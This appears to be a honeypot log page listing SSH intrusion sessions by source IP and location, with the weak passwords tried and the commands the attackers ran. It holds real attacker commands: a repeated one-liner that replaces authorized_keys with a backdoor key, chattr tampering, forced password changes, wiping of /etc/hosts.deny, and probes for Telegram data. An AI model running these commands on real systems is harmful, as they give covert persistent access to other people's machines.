$ uname -s -v -n -r -m ร—32
๐ŸŽญ brazen_stroopwafel_root (45.153.34.114) โ€” Eygelshoven, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-03 05:02 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ cryptic_orchid_root_167 (47.236.172.167) โ€” Singapore, Singapore ยท 5 sessions ยท 5 cmds
2026-07-15 04:24 EDT ยท as guest/guest, oracle/123456, root/root
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—5
๐ŸŽญ drowsy_scone_root (139.59.183.60) โ€” Slough, United Kingdom ยท 2 sessions ยท 2 cmds
2026-07-09 08:43 EDT ยท as admin/123456, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ wired_star_root (141.11.88.246) โ€” Crugers, United States ยท 62 sessions ยท 62 cmds
2026-07-13 13:46 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ molten_dimsum_root (103.56.115.187) โ€” San Po Kong, Hong Kong ยท 1 session ยท 20 cmds
2026-07-15 04:32 EDT ยท as admin/asdf1234
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "asdf1234\nmk0bIpXKsAHx\nmk0bIpXKsAHx"|passwd|bash
$ Enter new UNIX password:
$ echo "asdf1234\nmk0bIpXKsAHx\nmk0bIpXKsAHx\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ listless_panda_root (106.13.170.216) โ€” Beijing, China ยท 2 sessions ยท 2 cmds
2026-07-14 20:38 EDT ยท as admin/123456, root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—2
๐ŸŽญ placid_gouda_root (91.92.40.233) โ€” Amsterdam, The Netherlands ยท 37 sessions ยท 248 cmds
2026-06-26 01:02 EDT ยท as admin/123456, admin/admin, admin/admin123
OS fingerprinting via uname -s -v -n -m and /proc/version checks โ†’ system uptime extraction from /proc/uptime โ†’ environment variable PATH hardening โ†’ credential validation using admin/123456 โ†’ reconnaissance phase completion with no further exploitation or persistence attempts.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—37
$ /bin/uname -s -v -n -m 2 > /dev/null ร—20
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—20
$ busybox uname -s -v -n -m 2 > /dev/null ร—20
$ ( [ -f /proc/version ] ร—20
$ [ -f /proc/version ] ร—20
$ head -1 /proc/version | cut -d -f1 ร—20
$ [ -f /etc/os-release ] ร—20
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—8
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ร—11
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—17
$ uname -m 2 > /dev/null ร—17
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—17
๐ŸŽญ brisk_naija_root (102.88.137.80) โ€” Lagos, Nigeria ยท 2 sessions ยท 4 cmds
2026-06-27 10:45 EDT ยท as oracle/Oracle@2024, oracle/root123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ haywire_stroopwafel_root (91.92.40.45) โ€” Amsterdam, The Netherlands ยท 7 sessions ยท 7 cmds
2026-07-14 16:38 EDT ยท as admin/admin123, deploy/deploy123, oracle/Bmw_20!_^
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—7
๐ŸŽญ jittery_burger_root_223 (65.49.139.223) โ€” Wenatchee, United States ยท 1 session ยท 9 cmds
2026-07-14 14:28 EDT ยท as root/root
/root login via root/root โ†’ /ip cloud print โ†’ ifconfig โ†’ uname -a โ†’ cat /proc/cpuinfo โ†’ ps grep miner โ†’ ps -ef grep miner โ†’ locate D877F783D5D3EF8Cs โ†’ echo Hi cat -n
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ derelict_specter_root (193.80.38.70) โ€” Reitdorf, Austria ยท 1 session ยท 1 cmd
2026-07-14 11:48 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ silent_lantern_root_206 (106.13.57.206) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-14 10:12 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ sullen_burger_root (172.191.178.196) โ€” Boydton, United States ยท 1 session ยท 20 cmds
2026-07-14 09:12 EDT ยท as oracle/11111111
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "11111111\nXlaJPaxFS4mr\nXlaJPaxFS4mr"|passwd|bash
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "11111111\nXlaJPaxFS4mr\nXlaJPaxFS4mr"|passwd|bash
$ Enter new UNIX password:
$ echo "11111111\nXlaJPaxFS4mr\nXlaJPaxFS4mr\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ aloof_cowboy_root (172.171.233.230) โ€” Boydton, United States ยท 1 session ยท 19 cmds
2026-07-14 07:37 EDT ยท as root/root
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:uDxauEgBFYOJ"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ derelict_betel_root (35.229.251.106) โ€” Taipei, Taiwan ยท 1 session ยท 20 cmds
2026-07-14 06:28 EDT ยท as admin/asdf1234
chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ passwd injection loop โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ cat /proc/cpuinfo | grep model | head -n 1 | awk parsing โ†’ free -m | grep Mem | awk parsing โ†’ ls -lh $(which ls) โ†’ which ls โ†’ crontab -l โ†’ w
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "asdf1234\n5e9ed9jESTrf\n5e9ed9jESTrf"|passwd|bash
$ Enter new UNIX password:
$ echo "asdf1234\n5e9ed9jESTrf\n5e9ed9jESTrf\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ cryptic_junk_root_243 (8.210.75.243) โ€” Hong Kong, Hong Kong ยท 4 sessions ยท 4 cmds
2026-07-13 22:37 EDT ยท as root/12345678, tomcat/tomcat, ubuntu/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—4
๐ŸŽญ savage_cowboy_sol (147.182.246.240) โ€” Santa Clara, United States ยท 1 session ยท 2 cmds
2026-07-14 05:05 EDT ยท as oracle/oracle12
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ murky_burger_root_182 (144.126.140.182) โ€” St Louis, United States ยท 1 session ยท 2 cmds
2026-07-14 04:44 EDT ยท as oracle/welcome123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ clandestine_husk_root (154.125.158.254) โ€” Dakar, Senegal ยท 1 session ยท 2 cmds
2026-07-14 03:27 EDT ยท as oracle/123qwe!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ midnight_viking_root_8 (83.233.147.8) โ€” Borlรคnge, Sweden ยท 4 sessions ยท 4 cmds
2026-07-14 02:50 EDT ยท as root/123456, root/12345678, root/password
echo (repeated echo 3x)
$ echo SHELL_TEST ร—4
๐ŸŽญ gnarled_mango_root (49.231.192.36) โ€” Bangkok, Thailand ยท 2 sessions ยท 4 cmds
2026-07-14 01:40 EDT ยท as oracle/0, oracle/Password
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ obsidian_batik_root_223 (27.112.78.223) โ€” Cicurug, Indonesia ยท 1 session ยท 2 cmds
2026-07-14 01:50 EDT ยท as oracle/Passw0rd@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
